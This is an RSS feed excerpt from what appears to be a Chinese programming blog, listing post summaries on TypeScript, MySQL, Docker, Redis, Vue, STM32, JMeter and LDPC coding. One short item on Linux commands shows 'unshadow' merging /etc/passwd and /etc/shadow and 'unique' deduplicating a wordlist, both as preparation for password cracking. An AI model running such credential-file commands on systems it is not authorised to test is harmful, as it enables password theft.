      <description>一，前言 1，交叉类型是将多个类型合并为一个类型。 这让我们可以把现有的多种类型叠加到一起成为一种类型，它包含了所需的所有类型的特性&#xA;二，交叉类型使用 1.我们可以使用type来声明一个新的交叉类型&#xA;interface A{ a:number } interface B{ b:string } type C = A &amp;amp; B //C 同时拥有A和B的所有属性 2.接口的交叉类型生成一个新的接口类型，含有两者的所有属性，在使用时，也要满足新的接口的形状。&#xA;三，注意事项 1.并不是所有类型都适合交叉类型，例如原子类型的交叉是没有意义的，string &amp;amp; number 是没有意义的，没有一种类型既是string也是number&#xA;2.对于两个接口类型的交叉类型，当两个接口含有相同的属性时，若这两个属性的类型相同，则合并为这一个类型，若不同，那么整个交叉类型返回never&#xA;interface A{ a:number } interface B{ a:string } type C = A &amp;amp; B //C 是never类型 3.注意和联合类型区分开，一个是既是也是，一个是或者</description>
    </item>
    <item>
      <title>数据库系列之MySQL线程ID和操作系统线程ID对应关系</title>
      <link>https://bchobby.github.io/posts/7d838aba67e6c6d63023fe9cff21cd03/</link>
      <pubDate>Mon, 10 Apr 2023 08:40:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d838aba67e6c6d63023fe9cff21cd03/</guid>
      <description>在日常运维工作中，MySQL数据库服务器出现SQL语句执行导致服务器CPU使用率突增，如何通过现有手段快速定位排查到哪个SQL语句，并采取应急措施。本文介绍基于传统的操作系统线程的CPU使用监控手段入手，利用操作系统线程ID和MySQL线程ID对应关系，逐步定位到异常SQL和事务。&#xA;1、操作系统进程和线程ID 1.1 MySQL单进程和多线程关系 MySQL是一个单进程多线程数据库，进程是正在运行的程序的实例，线程是操作系统能够进行运算调度的最小单位。&#xA;进程：是指一个内存中运行的应用程序，每个进程都有一个独立的内存空间；进程也是程序的一次执行过程，是系统运行程序的基本单位；系统运行一个程序即是一个进程从创建、运行到消亡的过程。线程：线程是进程中的一个执行单元，负责当前进程中程序的执行，一个进程中至少有一个线程。线程是操作系统能够进行运算调度的最小单位，它被包含在进程之中，是进程中的实际运作单位。一个进程中可以并发多个线程，每条线程并行执行不同的任务。 MySQL数据库选择单进程多线程，是因为进程同一时间内并发很多线程给不同的CPU，线程共享相同的内存单元/内存地址空间， 由于线程间的通信是在同一地址空间上进行的，所以不需要额外的通信机制，这就使得通信更简便而且信息传递的速度也更快。&#xA;上图是MySQL存储引擎InnoDB的后台线程，在“InnoDB存储引擎解密”中详细介绍了。InnoDB后台线程主要用于维持服务器的正常运行和完成用户提交的任务，主要包括：master thread、page cleaner thread、purge thread、read thread、write thread、redo log thread、insert buffer thread、monitor thread、error monitor thread、lock monitor thread等。&#xA;1.1.1 Master Thread Master thread是核心的后台线程，主要负责将缓冲池中的数据异步刷新到磁盘，保证数据的一致性，包括脏页的刷新、合并插入缓冲、undo页的回收等。Master thread内部由多个循环组成，包括主循环、后台循环、刷新循环和暂停循环，master thread会根据数据库运行的状态在不同的循环之间切换。在InnoDB 1.0.x版本之前的主循环中，分两大部分操作：每秒钟的操作和每10秒钟的操作。&#xA;1）每秒一次的操作包括：&#xA;日志缓冲刷新到磁盘，即使这个事务还没有提交（总是），这点解释了为什么再大的事务commit时都很快合并插入缓冲（可能），合并插入并不是每秒都发生，InnoDB会判断当前一秒内发生的IO次数是否小于5，如果是，则系统认为当前的IO压力很小，可以执行合并插入缓冲的操作。至多刷新100个InnoDB的缓冲池的脏页到磁盘（可能），这个刷新100个脏页也不是每秒都在做。 即使某个事务还没有提交，InnoDB存储引擎仍然每秒会将重做日志缓存中的内容刷新到redo log中。&#xA;2）每10秒一次的操作包括：&#xA;刷新100个脏页到磁盘（可能）；合并至多5个插入缓冲（总是）；将日志缓冲刷新到磁盘（总是）；删除无用的undo页（总是）；产生一个检查点（checkpoing）； 在以上过程中，InnoDB存储引擎会先判断过去10s内的磁盘IO操作是否小于200次，如果是InnoDB存储引擎认为当前有足够的磁盘IO操作能力，因此将100个脏页刷新到磁盘。接着，InnoDB存储引擎会合并插入缓冲，之后再将日志缓冲刷新到磁盘。最后InnoDB存储引擎会执行full purge操作，删除无用的undo页，它会先去判断当前系统中已被标记为删除的行是否可以删除，如果可以则可以立即将其删除。&#xA;在InnoDB 1.0.x版本之前，InnoDB存储引擎对于IO是有限制的，缓冲池向磁盘刷新做了一定的硬编码，随着磁盘硬件性能提高，这种方式会限制InnoDB对磁盘IO的性能。因此在1.0.x版本之后，InnoDB提供了参数innodb_io_capacity，用来表示磁盘IO的吞吐量，默认值为200。对于刷新到磁盘页的数量，会按照innodb_io_capacity的百分比进行控制：&#xA;在合并插入缓冲时，合并插入缓冲的数量为innodb_io_capacity值的5%在从缓冲区刷新脏页时，刷新脏页的数量为innodb_io_capacity 命令show engine innodb status;可以查看master thread信息：&#xA;===================================== 2021-08-22 20:38:37 140186194323200 INNODB MONITOR OUTPUT ===================================== Per second averages calculated from the last 12 seconds ----------------- BACKGROUND THREAD ----------------- srv_master_thread loops: 1 srv_active, 0 srv_shutdown, 255 srv_idle srv_master_thread log flush and writes: 0 1.</description>
    </item>
    <item>
      <title>基于Face&#43;&#43;，使用Spring Boot&#43;Elemnet-UI实现人脸识别登录。</title>
      <link>https://bchobby.github.io/posts/0cfebe38537827291b5609abf3c1f31e/</link>
      <pubDate>Mon, 10 Apr 2023 00:11:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0cfebe38537827291b5609abf3c1f31e/</guid>
      <description>上一篇文章只是封装了人脸检测的一些工具类，要实现刷脸登录，我们首先得思考一个问题，就是如何将我们的人脸和登录账户信息进行绑定，让它通过人脸就能识别到当前登录的账户是谁的账户。&#xA;这个问题我们可以这样解决，我浏览Face++的官网发现它还有人脸比对的一个API，我点进去一看，这不就是实现人脸登录的关键API吗？&#xA;继续查看它需要的参数。&#xA;我们可以看到它需要的是两个图片的face_token,用两个图片的face_token，进行对比，得出它是不是同一个人。那就简单多了。许多问题都迎刃而解。接下来就是我具体的实现过程，大家可以参考一下。&#xA;1.准备工作 首先，在我们封装的工具类中，添加人脸比对的方法：&#xA;/** * 对比两个人脸的face_token * @param face_token1 * @param face_token2 * @return 如果为true则是同一个人 * @throws Exception */ public static boolean compareFace(String face_token1, String face_token2) throws Exception { String url = &#34;https://api-cn.faceplusplus.com/facepp/v3/compare&#34;; HashMap&amp;lt;String, byte[]&amp;gt; byteMap = new HashMap&amp;lt;&amp;gt;(); map.put(&#34;face_token1&#34;, face_token1); map.put(&#34;face_token2&#34;, face_token2); byte[] bacd = HttpUtils.post(url, map, null); String str = new String(bacd); System.out.println(&#34;str = &#34; + str); //转为为对象，获取检索的置信度 if (str.indexOf(&#34;error_message&#34;) != -1) { return false; } JSONObject jsonObject = JSONObject.</description>
    </item>
    <item>
      <title>Jmeter常用断言之响应断言详解</title>
      <link>https://bchobby.github.io/posts/7ed2e0c1a5528383f5051f647ffa4942/</link>
      <pubDate>Sun, 09 Apr 2023 20:49:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7ed2e0c1a5528383f5051f647ffa4942/</guid>
      <description>响应断言是最常用的一种断言方法，主要是对响应结果中的文本内容进行断言，比如响应结果是否包含指定的值，或者是否等于指定的值。响应断言可以适用各种返回类型的响应结果，如：Test、html、application/json、application/xml等。&#xA;一、断言添加方式 根据需要可在【测试计划】、【线程组】、【线程请求】下添加断言，一般在对应的【线程请求】下添加，如下图所示，即本文所介绍的。&#xA;添加路径：【线程请求-点击右键-添加-断言-对应的断言形式】&#xA;二、断言结果查看 2.1.【断言结果】看断言结果 添加路径：【测试计划-点击右键-添加-监听器-断言结果】&#xA;整个测试计划下所有请求的所有断言结果报错信息均会在此显示，如下图所示，将所有断言结果的报错信息直接展示出来。&#xA;2.2.【查看结果树】看断言结果 添加路径：【测试计划-点击右键-添加-监听器-查看结果树】，整个测试计划下所有请求的所有断言结果报错信息均会在此显示，如下图的形式，切换查看。&#xA;三、响应断言 响应断言界面设置，如下图：&#xA;如上图所示，响应断言分为【Apply to】【测试字段】【模式匹配规则】【测试模式】【自定义失败信息】五个部分。&#xA;3.1.Apply to 断言的作用域。&#xA;通常使用默认的【Main sample only】（比如给HTTP请求新增断言，选择了Main sample only，那么这个断言的作用域只针对此HTTP请求），没有对其他作用域有过深入的研究。&#xA;【Main sample and sub-samples】与【Sub-samples only】这两个作用域的场景是：部分请求一次会触发多个线程。&#xA;**【Main sample and sub-samples】**作用于主线程以及子线程，&#xA;**【Sub-sample only】**只用作于子线程。&#xA;如果选择了【Main sample and sub-samples】，即使主线程成功，子线程失败，那么断言也是以失败做结果。&#xA;3.2.测试字段 这个模块，指的是我们使用哪一块的返回信息做断言。&#xA;【响应文本】指返回的【响应数据】的文本信息response body。&#xA;【响应代码】指Http响应码，如200、500等。&#xA;【响应信息】指的是http的【取样器结果】中的response message。&#xA;【响应头】指http【响应数据】的响应头信息response hearders。&#xA;【请求头】指http【请求数据】的请求头信息request hearders。&#xA;【请求数据】指http【请求数据】的请求头信息request body。&#xA;【URL样本】指断言的当前请求的URL地址，与http【请求数据】的请求头信息request body中的值做对比是否一致。注意：如果有重定向包含重定向url。&#xA;【文档（文本）】通过Apache Tika从各种的文档中提取的文本进行验证，包括响应文本，pdf、word等等各种格式。&#xA;【忽略状态（Ignore Status）】 一个请求多项响应断言时，忽略某一项断言的响应结果，而继续下一项断言。&#xA;注意：响应文本不等于响应信息。&#xA;以上测试字段的断言，可以随便找个接口尝试一下，在下图的结果中查找对应的字段值进行测试。。。&#xA;3.3.模式匹配规则 分为【包括】【匹配】【相等】【字符串】【否】【或者】&#xA;【包括】响应的结果中包含指定的文本或者字段值，支持正则表达式。&#xA;【匹配】完全匹配，期望值与实际结果必须完全一致，一般结合正则表达式使用。&#xA;【相等】完全匹配，响应结果与指定的内容完全一致，不支持正则表达式。&#xA;【字符串】返回结果，包含指定的字符串，不支持正则表达式。&#xA;【否】合并选择之后，断言结果true为false，false为true。&#xA;【或者】当有多个断言时，只要有一个断言成功，那么最终结果就是成功的。&#xA;3.4.测试模式 断言的内容。如果有多个，按照顺序执行，没有选择【或者】的情况下，所有的断言通过之后，取样器结果才是成功的。</description>
    </item>
    <item>
      <title>2个int类型的数字拼接成1个long类型的数字</title>
      <link>https://bchobby.github.io/posts/b348a8379eea1d5d342a4b72e719a447/</link>
      <pubDate>Sun, 09 Apr 2023 19:15:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b348a8379eea1d5d342a4b72e719a447/</guid>
      <description>/**int型数字跟long型数字转行 * ID转换器 */ public class IDConverter { /** * 将2个int型数字拼接成一个long类型数字 */ public static long combineInt2Long(int high, int low) { return ((long) high &amp;lt;&amp;lt; 32 &amp;amp; 0xFFFFFFFF00000000L) | ((long) low &amp;amp; 0xFFFFFFFFL); } /** * 将一个long类型数字，拆分成2个int型数字 */ public static int[] seperateLong2Int(long val) { int[] res = new int[2]; res[1] = (int) (0xFFFFFFFFL &amp;amp; val);//低位 res[0] = (int) ((0xFFFFFFFF00000000L &amp;amp; val) &amp;gt;&amp;gt; 32);//高位 return res; } /**测试*/ public static void main(String[] args) { int high =1001; int low =200; long num = IDConverter.</description>
    </item>
    <item>
      <title>mysql基于docker安装及连接</title>
      <link>https://bchobby.github.io/posts/fe91768a57191a16ddc635c5da0c3c33/</link>
      <pubDate>Sun, 09 Apr 2023 15:44:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fe91768a57191a16ddc635c5da0c3c33/</guid>
      <description>mysql简介 1、什么是数据库 ？ 数据库（Database）是按照数据结构来组织、存储和管理数据的仓库，它产生于距今六十多年前，随着信息技术和市场的发展，特别是二十世纪九十年代以后，数据管理不再仅仅是存储和管理数据，而转变成用户所需要的各种数据管理的方式。数据库有很多种类型，从最简单的存储有各种数据的表格到能够进行海量数据存储的大型数据库系统都在各个方面得到了广泛的应用。&#xA;主流的数据库有：sqlserver，mysql，Oracle、SQLite、Access、MS SQL Server等，本文主要讲述的是mysql&#xA;安装 mysql 启动docker systemctl start docker 下载MySQL 默认最新版本(如果对版本没有要求的话可以直接下载最新版)&#xA;docker pull mysql&#xA;等一会儿就下载好了，然后我们看一下docker中的镜像&#xA;docker images&#xA;启动MySQL docker run --restart=always --name test_mysql -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 -e TZ=Asia/Shanghai -d mysql:latest --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci --default-time_zone=&#39;+8:00&#39;//以下是注释 不要复制--restart=always:设置为开机启动--name test_mysql:自定义的名称-p 3306:3306:端口映射-e MYSQL_ROOT_PASSWORD=设置密码-e TZ=Asia/Shanghai:设置时区-d mysql:指定镜像--character-set-server=utf8mb4:指定字符集--collation-server=utf8mb4_unicode_ci:指定字符集--default-time_zone=&#39;+8:00&#39;:默认时区&#xA;启动之后我们看一下运行情况&#xA;docker ps&#xA;远程连接 首先我们去配置一下云服务器安装组，开放3306端口，然后docker中也要开启3306端口&#xA;//开启3306端口firewall-cmd --zone=public --add-port=3306/tcp --permanent//重启防火墙firewall-cmd --reload&#xA;因为我们安装的是最新版，而最新版的mysql密码验证有更改，Navicat如果不是最新版的话，就验证不过去，这个时候我们要进入MySQL中设置一下&#xA;//进入test_mysql 的命令行模式 这里的test_mysql 就是刚刚起的那个名字docker exec -it test_mysql bash//默认进入root用户下root@xxxxxx:/#//进入mysql命令，回车输入docker-mysql密码mysql -u root -p//进入mysql数据库表use mysql;//修改密码方式alter user &#39;root&#39;@&#39;%&#39; identified with mysql_native_password by &#39;这里是你的密码&#39;;//完事 Ctrl+D连按两次回到主界面</description>
    </item>
    <item>
      <title>Docker 镜像加速</title>
      <link>https://bchobby.github.io/posts/e0120dae422afd80027634fcc62e3f3a/</link>
      <pubDate>Sun, 09 Apr 2023 15:26:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e0120dae422afd80027634fcc62e3f3a/</guid>
      <description>前言&#xA;大家好，本文是对 Docker 镜像的详细讲解，讲解了如何安装 Docker、配置 Docker 镜像加速以及操作 Docker 镜像。希望对大家有所帮助~&#xA;一、为什么要配置Docker镜像加速器 因为我们默认pull的docker镜像是从Docker Hub来下载，由于其服务器在国外，速度会比较慢。因此我们可以配置成国内的镜像仓库，这样可以加速镜像的上传/下载，比如阿里云，网易云，docker中国等。&#xA;二、准备： aliyun账号（淘宝、阿里云邮箱、1688账号均可）DockerCentOS 或 Ubuntu 三、获取加速地址 （1）登录阿里云：阿里云-为了无法计算的价值&#xA;（2）右上角进入【控制台】&#xA;（3）左上角点击【产品与服务】&#xA;（3）输入关键字【容器镜像服务】并点击进入&#xA;这一步需要注册Registry实例密码，因为在拉取私有镜像或者上传镜像前，需要docker login输入您的凭证信息。&#xA;（4）选择镜像加速器即可看到个人专属阿里云镜像加速地址&#xA;四、配置镜像加速器（Docker版本1.10.0以上） 使用阿里云提供的镜像加速器或者使用网易云提供的镜像加速器，下面以阿里云为例。&#xA;自己的测试环境：Centos7，docker版本如下：&#xA;（2）安装/升级Docker客户端 推荐安装1.10.0以上版本的Docker客户端，参考文档 docker-ce&#xA;（2）配置镜像加速器 针对Docker客户端版本大于 1.10.0 的用户&#xA;您可以通过修改daemon配置文件/etc/docker/daemon.json来使用加速器&#xA;sudo mkdir -p /etc/docker&#xA;sudo tee /etc/docker/daemon.json &amp;lt;&amp;lt;-&#39;EOF&#39;&#xA;{&#xA;&#34;registry-mirrors&#34;: [&#34;https://xxxx.mirror.aliyuncs.com&#34;] # 其中xxxx为自己的加速器地址&#xA;}&#xA;EOF&#xA;sudo systemctl daemon-reload&#xA;sudo systemctl restart docker</description>
    </item>
    <item>
      <title>CSS设置背景background</title>
      <link>https://bchobby.github.io/posts/816c81c7290df080bdad5ad57fde0f05/</link>
      <pubDate>Sun, 09 Apr 2023 14:49:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/816c81c7290df080bdad5ad57fde0f05/</guid>
      <description>background-image ◼ background-image用于设置元素的背景图片&#xA; 会盖在(不是覆盖)background-color的上面&#xA;◼ 如果设置了多张图片&#xA; 设置的第一张图片将显示在最上面，其他图片按顺序层叠在下面&#xA;◼ 注意：如果设置了背景图片后，元素没有具体的宽高，背景图片是不会显示出来的&#xA;background-repeat ◼ background-repeat用于设置背景图片是否要平铺&#xA;◼ 常见的设值有&#xA; repeat：平铺&#xA; no-repeat：不平铺&#xA; repeat-x：只在水平方向平铺&#xA; repeat-y：只在垂直平方向平铺&#xA;background-size background-size用于设置背景图片的大小&#xA; auto：默认值, 以背景图本身大小显示&#xA; cover：缩放背景图，以完全覆盖铺满元素,可能背景图片部分看不见&#xA; contain：缩放背景图，宽度或者高度铺满元素，但是图片保持宽高比&#xA; ：百分比，相对于背景区（background positioning area）&#xA; length：具体的大小，比如100px&#xA;background-position ◼ background-position用于设置背景图片在水平、垂直方向上的具体位置&#xA; 可以设置具体的数值 比如 20px 30px;&#xA; 水平方向还可以设值：left、center、right&#xA; 垂直方向还可以设值：top、center、bottom&#xA; 如果只设置了1个方向，另一个方向默认是center&#xA;background-attachment ◼ background-attachment决定背景图像的位置是在视口内固定，或者随着包含它的区块滚动。&#xA;◼ 可以设置以下3个值&#xA; scroll：此关键属性值表示背景相对于元素本身固定， 而不是随着它的内容滚动&#xA; local：此关键属性值表示背景相对于元素的内容固定。如果一个元素拥有滚动机制，背景将会随着元素的内容滚动.&#xA; fixed：此关键属性值表示背景相对于视口固定。即使一个元素拥有滚动机制，背景也不会随着元素的内容滚动。&#xA;background ◼ background是一系列背景相关属性的简写属性&#xA;◼ 常用格式是</description>
    </item>
    <item>
      <title>Redis的过期策略</title>
      <link>https://bchobby.github.io/posts/76bce404e70c9c1e5ca13e34c0ff7396/</link>
      <pubDate>Sun, 09 Apr 2023 11:25:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/76bce404e70c9c1e5ca13e34c0ff7396/</guid>
      <description>Redis中缓存的数据是有过期时间的，当缓存数据失效时Redis会删除过期数据已节省内存，那Redis是怎么删除过期数据的？删除过期数据的策略是什么？Redis过期策略&#xA;Redis为什么这么快，原因之一是Redis的操作是基于内存的，既然基于内存的，而内存的大小是有限的，当内存不足或占用过高时，怎么办？Redis的内存淘汰机制&#xA;一、Redis过期策略 Redis在设置缓存数据时指定了过期时间，到了过期时间数据就失效了，那Redis是怎么处理这些失效的数据的呢？用到Redis的过期策略----“惰性删除+定期删除”。&#xA;1. 定期删除&#xA;定期删除是指Redis默认每隔100ms就随机抽取一些设置了过期时间的key，检测这些key是否过期，如果过期就将其删除。&#xA;100ms怎么来的？ 在Redis的配置文件redis.conf中有一个属性“hz”，默认设置为10，表示每1s执行10次定期删除，即每隔100ms执行一次，可以修改这个配置值。&#xA;随机抽取一些检测，一些是多少？ 同样是由redis.conf文件中的maxmemory-sample属性决定的，默认为5。&#xA;为什么随机抽取部分检测而不是全部？ 因为如果Redis里面有大量的key都设置了过期时间，全部去检测一遍的话CPU负载会很高，会浪费大量时间在检测上面，甚至导致redis挂掉。所以只会抽取一部分而不会全部检测。 正因为定期删除只会随机抽取部分key来检测，这样的话就会出现大量已经过期的key并没有被删除，这就是为什么有时候大量的key明明已经过来失效时间，但是Redis的内存还是被大量占用的原因，为了解决这个问题，Redis又引入了“惰性删除策略”。&#xA;2. 惰性删除&#xA;惰性删除不是主动的去删除，而是在你要获取某个key的时候，redis会先去检测一下这个key是否已过期，如果没有则返回给你，如果已经过期，就将该key删除，并不返回给你。&#xA;“定期删除+惰性删除”就能保证过期的key最终一定能被删除，但是只能保障最终一定会被删除，要是定期删除遗漏的大量过期key，我们在很长的一段时间内也没有再访问这些key，那么这些过期key不就一直在内存中吗？不就一直占着内存吗？这样依然会导致Redis内存耗尽，由于存在这样的问题，所有Redis又引入了“内存淘汰机制”来解决。&#xA;二、Redis内存淘汰机制 内存淘汰机制能保证Redis内存占用过高的时候，去进行内存淘汰，也就是删除一部分key，保证redis的内存占用率不会过高，那么淘汰那些key？Redis目前提供了8种内存淘汰策略，含Redis 4.0版本之后又新增的两种LFU模式：volatile-lfu和allkeys-lfu&#xA;策略描述no-eviction当内存不足以容纳新写入数据时，新写入操作会报错，无法写入数据，一般不采用allkeys-lru当内存不足以容纳新写入数据时，移除最近最少使用的key，这个是最常用的allkeys-random当内存不足以容纳新写入数据时，随机移除keyallkeys-lfu当内存不足以容纳新写入数据时，移除最不经常（最少）使用的keyvolatile-lru当内存不足以容纳新写入数据时，在设置了过期时间的key中，移除最近最少使用的keyvolatile-random当内存不足以容纳新写入数据时，在设置了过期时间的key中，随机移除keyvolatile-lfu当内存不足以容纳新写入数据时，在设置了过期时间的key中，移除最不常用（最少）使用的keyvolatile-tll当内存不足以容纳新写入数据时，在设置了过期时间的key中，优先移除过期时间最早（剩余存活时间最短）的key 什么时候会执行内存淘汰策略，内存占用率高的标准是什么？ redis.conf配置文件中的maxmemory属性限定了Redis最大内存使用量，当占用内存大于maxmemory的配置值时会执行内存淘汰策略，默认68%。&#xA;内存淘汰策略的配置 内存淘汰策略由redis.conf配置文件中的maxmememory-policy属性设置，没有配置时默认是no-eviction模式。&#xA;内存淘汰的执行过程 客户端执行一条命令，导致Redis需要增加数据（比如 set key value）； Redis会检测内存使用情况，如果内存使用超过maxmemory，就会按照配置的过期策略maxmemory-polic删除一些key； 再执行新的数据的set操作；&#xA;三、其他场景对过期key的处理 快照生成RDB文件时 过期的key不会保存在RDB中。&#xA;服务重启载入RDB文件时 Master载入RDB时，文件中的未过期的键会被正常载入，过期键则会被忽略。Slave载入RDB时，文件中的所有键都会被载入，当主从同步时，再和Master保持一致。&#xA;AOF文件写入时 因为AOF保存的是执行过的Redis命令，如果Redis还没有执行del，AOF文件中也不会保存del操作，当过期key被删除时，del命令也会被同步到AOF文件中去。&#xA;重写AOF文件时 执行BGREWRITEAOF时，过期的key不会被记录到AOF文件中。&#xA;主从同步时 Master删除过期key之后，会向所有Slave服务器发送一个DEL命令，Slave收到通知之后，会删除这些key。 Slave在读取过期键时，不会判断删除操作，而是继续返回该键对应的值，只有当Master发送DEL通知，Slave才会删除过期key，这是统一、中心化的键删除策略，保证主从服务器的数据一致性。</description>
    </item>
    <item>
      <title>STM32程序占用的内存容量计算</title>
      <link>https://bchobby.github.io/posts/5a3d31629ea0b9d6b064bab3ed83d27e/</link>
      <pubDate>Sat, 08 Apr 2023 23:45:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5a3d31629ea0b9d6b064bab3ed83d27e/</guid>
      <description>MKD编译完成后查看以下数据的大小：&#xA;Code：表示程序所占用 FLASH 的大小（ FLASH）。&#xA;RO-data：即 Read Only-data， 表示程序定义的常量，如 const 类型（ FLASH）。&#xA;RW-data：即 Read Write-data， 表示已被初始化的全局变量（ SRAM）&#xA;ZI-data：即 Zero Init-data， 表示未被初始化的全局变量(SRAM)&#xA;占用的Flash=Code + RO Data + RW Data;&#xA;运行消耗的最大RAM= RW-data+ZI-data;&#xA;可以计算出占用的FLASH = 23204+1428+380=24.42kB，占用的RAM=380+1836=2.16kB STM32F103芯片的内存资源如下：&#xA;从这个表里可以看到ROM SIZE里包含了Code RO-data RW-data，但是没有zi-data。是因为zi-data的值没有在程序里进行初始化，所以上电运行后会直接被赋值为0，所以这个值也就没有必要保存的ROM空间里了。 程序空间大小计算：&#xA;7828byte=0x1E94byte；&#xA;那么数据存储从0x800 0000+0x1E94=0x800 1E94开始都是安全的。</description>
    </item>
    <item>
      <title>Python学习&#43;PTA习题练习</title>
      <link>https://bchobby.github.io/posts/cd60ead869356d6b9bfaf3c3dba8444d/</link>
      <pubDate>Sat, 08 Apr 2023 20:27:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cd60ead869356d6b9bfaf3c3dba8444d/</guid>
      <description>目录&#xA;Python第2章 序列&#xA;PTA&#xA;get()函数&#xA;index()函数&#xA;keys()&#xA;eval&#xA;python中pop()函数&#xA;extend() 函数&#xA;split()函数&#xA;Python中的切片&#xA;python基础知识&#xA;strip()函数功能&#xA;isalpha()函数&#xA;islower()&#xA;round()函数&#xA;选择与循环&#xA;字符串与正则表达式&#xA;Python第2章 序列 PTA 列表对象是可变对象。列表是动态数据结构，因此可以添加元素或者删除已有的元素。&#xA;空列表对象的布尔值是False。&#xA;列表中索引值为-1的元素指的是最后一个元素。&#xA;list(&#34;abcd&#34;)的结果是? [&#39;a&#39;, &#39;b&#39;, &#39;c&#39;, &#39;d&#39;]&#xA;要把5加到列表lst的末尾，用的是___ lst.append(5)&#xA;list(range(2,12,2))[:-2].pop()的结果是：_。6&#xA;lst=[3,4,5,6,5,4,3],执行lst.remove(3)后，lst[0]的值是4&#xA;“[3] in [1, 2, 3, 4]”的值为False&#xA;创建只包含一个元素的元组时，必须在元素后面加一个逗号，例如(3,)&#xA;Python支持使用字典的“键”作为下标来访问字典中的值。&#xA;在字典中，允许存在键值相同的多个键值对 False&#xA;集合中的元素是无序的，并且不允许重复。&#xA;集合中可包含任意类型的元素。False&#xA;get()函数 在这里有两个参数，第一个是确定要分配值的键，第二个是拟定给键分配一个初值，但实际要给键赋值仍需要get赋值语句&#xA;index()函数 1.描述 index()函数可用于查找列表中对应函数的索引值并输出&#xA;2.index()函数的用法 list.index(object) 另外index()函数还可以范围查找： list.index(object,start,stop)&#xA;keys() 获取当前字典中所有的键( key )&#xA;eval 比如字符串里面包含的字典就输出字典，包含的列表就输出列表，但是字符串相应的格式一定要输入正确，否则会报错&#xA;python中pop()函数 用法：pop()函数用于移除列表中的一个元素(默认最后一个元素)，并且返回从列表中移除的元素对象。函数语法：【list.pop(ojb=list[-1])】。&#xA;extend() 函数 功能:用于在列表末尾一次性追加另一个序列中的多个值（用新列表扩展原来的列表）&#xA;split()函数 它主要是切割字符串，结果返回由字符串元素组成的一个列表，当没有参数的情况下，函数会默认以空格</description>
    </item>
    <item>
      <title>Misc Linux命令</title>
      <link>https://bchobby.github.io/posts/25ea1e110f3a4a2a5c0771a5c89f7b32/</link>
      <pubDate>Sat, 08 Apr 2023 20:22:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/25ea1e110f3a4a2a5c0771a5c89f7b32/</guid>
      <description> 1、unshadow命令&#xA;基本上会结合/etc/passwd的数据和/etc/shadow的数据，创建1个含有用户名和密码详细信息的文件。&#xA;root@kali:unshadow /etc/passwd /etc/shadow &amp;gt; shadow&#xA;2、unique&#xA;unique工具可以从一个密码字典中去除重复行，为我们使用密码字典进行爆破提供了很大的便利。&#xA;root@kali:~# unique -v -inp=allwords.txt uniques.txt Total lines read 6089 Unique lines written 5083 （如有侵权请联系删除） </description>
    </item>
    <item>
      <title>Vue中this.$refs的使用</title>
      <link>https://bchobby.github.io/posts/e1ff25fc06753f41560a2e766bd066b8/</link>
      <pubDate>Sat, 08 Apr 2023 19:12:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1ff25fc06753f41560a2e766bd066b8/</guid>
      <description> this.$refs在vue中ref可以以属性的形式添加给标签或者组件，&#xA;ref 写在标签上时：this.$refs.ipt 获取的是添加了ref=&#34;ipt&#34;标签对应的dom元素，&#xA;ref 写在组件上时：this.$refs[&#39;component&#39;] 获取到的是添加了ref=&#34;component&#34;属性的这个组件&#xA;&amp;lt;template&amp;gt; //给标签使用 &amp;lt;input type=&#34;text&#34; ref=&#34;ipt&#34;/&amp;gt; //给组件使用 &amp;lt;comp-detail ref=&#34;component&#34;&amp;gt;&amp;lt;/comp-detail&amp;gt; &amp;lt;button @click=&#34;confirm&#34;&amp;gt;确定&amp;lt;/button&amp;gt; &amp;lt;/template&amp;gt; methods:{ confirm(){ console.log(this.$refs.ipt.value) //打印出输入框中的value值 this.$refs[&#39;component&#39;].init() //调用组件comp-detail中的init()方法 } } $refs 是所有注册过 ref 的集合（对象）；若是遍历的ref，则对应$refs是个数组集合&#xA;注意：$ refs不是响应式的，只在组件渲染完成之后才填充。所以想要获取DOM数据的更新要使用 this.$nextTick()&#xA;总结：&#xA;&amp;lt;!-- ref 写在标签上时：this.$refs.名字 获取的是标签对应的dom元素 ref 写在组件上(调用组件)时：这时候获取到的是 子组件（比如counter）的引用--&amp;gt; </description>
    </item>
    <item>
      <title>LDPC的比特翻转算法与和积译码算法的python实现</title>
      <link>https://bchobby.github.io/posts/1687535115e48b40c004e107384d251e/</link>
      <pubDate>Sat, 08 Apr 2023 17:12:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1687535115e48b40c004e107384d251e/</guid>
      <description>- LDPC码简介 LDPC码即低密度奇偶校验码（Low Density Parity Check Code，LDPC），它由Robert G.Gallager博士于1963年提出的一类具有稀疏校验矩阵的线性分组码，不仅有逼近Shannon限的良好性能，而且译码复杂度较低, 结构灵活，是近年信道编码领域的研究热点，已广泛应用于深空通信、光纤通信、卫星数字视频和音频广播等领域。&#xA;LDPC码的校验矩阵只含有很少量非零元素，因此称为“低密度”奇偶校验码。LDPC码的译码方法和经典分组码不同，由于其码长较长，所以通常通过其校验矩阵的图像表达进行迭代译码。&#xA;- LDPC码编码原理 LDPC码的编码原理是将信息位按照一定的规则与校验位进行组合，形成一个码字。LDPC码的编码过程是将信息位按照一定的规则与校验位进行组合，形成一个码字。LDPC码的校验矩阵只含有很少量非零元素，因此称为“低密度”奇偶校验码。LDPC码的译码方法和经典分组码不同，由于其码长较长，所以通常通过其校验矩阵的图像表达进行迭代译码。以下是一个LDPC编码的例子。&#xA;A = np.array([[1,1,1,0],[0,1,1,1],[1,0,1,1]]) H = np.concatenate((A,np.eye(3)),axis=1)#校验矩阵 G = np.concatenate((np.eye(4),A.T),axis=1)#生成矩阵 Kdec = np.random.randint(0, 256,size=(1024))#产生随机符号 Kbin = np.array([int(_) for _ in &#39;&#39;.join(vec_dec2bin(Kdec))]) KbinRe = Kbin.reshape(-1, 4) encoded = np.mod(np.matmul(KbinRe, G), 2)#经过LDPC编码后的比特 - 